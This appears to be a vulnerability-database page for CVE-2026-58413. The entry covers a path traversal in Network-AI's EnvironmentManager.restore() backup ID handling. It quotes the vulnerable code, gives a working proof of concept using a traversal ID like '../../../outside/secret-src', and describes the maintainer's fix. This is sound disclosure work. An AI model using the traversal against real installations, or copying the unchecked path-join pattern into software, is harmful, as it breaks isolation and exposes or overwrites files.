🛡️ CVE-2026-58413 — network-ai

🟡 CVSS 6.1 — Medium ✅ No Known Exploit CWE-22 NVD
6.1
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

Network-AI: EnvironmentManager.restore() backup ID path traversal copies arbitrary directories into environment data

Summary

EnvironmentManager.restore(env, backupId) computes the backup path with join(envDir, '.backups', backupId) and only checks that this path exists. It does not resolve the result or verify that it remains under data/<env>/.backups.

A caller can pass a traversal backup ID such as ../../../outside/source-dir to restore files from an arbitrary directory into the target environment data directory. Confirmed in Network-AI 5.12.1.

Details

restore() builds backupPath directly from caller-controlled backupId:

```ts

restore(env: EnvName, backupId: string): RestoreResult {

const envDir = this.getDataDir(env);

const backupsDir = join(envDir, '.backups');

const backupPath = join(backupsDir, backupId);

if (!existsSync(backupPath)) {

throw new Error(Backup '${backupId}' not found for environment '${env}');

}

this.backup(env);

const files = this._collectBackupFiles(backupPath);

let restored = 0;

for (const rel of files) {

if (rel === '_manifest.json') continue;

const src = join(backupPath, rel);

const dst = join(envDir, rel);

try {

mkdirSync(join(envDir, rel.includes('/') ? rel.substring(0, rel.lastIndexOf('/')) : '.'), { recursive: true });

copyFileSync(src, dst);

restored++;

} catch { /* skip */ }

}

return { backupId, env, filesRestored: restored };

}

```

There is no resolved containment check that ensures backupPath remains under backupsDir.

Default CLI reachability exists through network-ai env backup restore --env <env> --backup <id>.

Affected source evidence:

  • lib/env-manager.ts:474-499 — vulnerable restore path construction and copy.
  • bin/cli.ts:441-458 — default CLI exposes restore with caller-controlled --backup.

PoC

This PoC uses only temporary directories and restores trust_levels.json from an external directory into data/dev:

```bash

TMP=$(mktemp -d)

TMPBASE="$TMP" node -r ts-node/register/transpile-only - <<'TS'

const { EnvironmentManager } = require('./lib/env-manager');

const fs = require('fs');

const path = require('path');

const base = process.env.TMPBASE;

const data = path.join(base, 'data');

const source = path.join(base, 'outside', 'secret-src');

fs.mkdirSync(source, { recursive: true });

fs.writeFileSync(path.join(source, 'trust_levels.json'), '{"leaked":true}');

const mgr = new EnvironmentManager(data, {

chain: ['dev', 'st'],

gates: { dev: 'auto', st: 'auto' },

});

mgr.init('dev');

const backupId = path.relative(path.join(data, 'dev', '.backups'), source);

const result = mgr.restore('dev', backupId);

const restored = fs.readFileSync(path.join(data, 'dev', 'trust_levels.json'), 'utf8');

console.log(JSON.stringify({ backupId, filesRestored: result.filesRestored, restored }, null, 2));

fs.rmSync(base, { recursive: true, force: true });

TS

```

Observed result includes backupId: "../../../outside/secret-src", filesRestored: 1, and restored content {"leaked":true}.

Impact

A caller that can invoke backup restore can copy arbitrary readable directories into data/<env>, subject to process filesystem permissions. This can stage sensitive files into environment data/backup locations, overwrite environment configuration files if matching filenames exist, and break environment isolation. No RCE chain was confirmed.

Resolution (maintainer)

Fixed in [v5.12.2](https://github.com/Jovancoding/Network-AI/releases/tag/v5.12.2) (commit a59c13a). Install: npm install [email protected] — published to npm with provenance.

restore() now validates backupId against /^[\w\-]+$/ and asserts dirname(resolve(join(backupsDir, backupId))) === resolve(backupsDir) before touching the filesystem. Backup IDs containing path separators or .. are rejected, so a crafted ID can no longer copy directories from outside .backups/ into the environment.

All 3,269 tests pass against the patched build. Thanks to @sondt99 for the responsible disclosure.

How this vulnerability can be exploited

This issue can be reached with local access to the system, attack complexity is low, an attacker needs low-level privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality high, integrity low, availability none.

Weakness class

CVE-2026-58413 is classified as CWE-22: Path Traversal. A file path built from user input is not confined to the intended directory, letting an attacker reach files elsewhere on the filesystem.

Affected software

CVE-2026-58413 is recorded against 2 packages.

  • network-ai
  • unknown

Timeline and source

Published on 19 June 2026 and last revised on 21 July 2026. No public exploit is currently recorded for this entry. Record sourced from NVD.

References

github.com (Web)
github.com (Web)
github.com (Package)
github.com (Web)

Details

Severity Medium
CVSS Score 6.1
CVSS Vector CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N
CWE CWE-22
Public Exploit ✅ No
Source NVD
Published 2026-06-19
Updated 2026-08-12
Modified 2026-07-21
Fix URL N/A

Affected Packages

Software From version Fixed in
network-ai
unknown

Similar Threats

Vulnerability Monitoring

Track new vulnerabilities in network-ai

CVE-2026-58413 is rated CVSS 6.1 Medium. BotEraser monitors your WordPress installation and notifies you when software you use appears in our vulnerability database.

Set Up Free Alerts →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.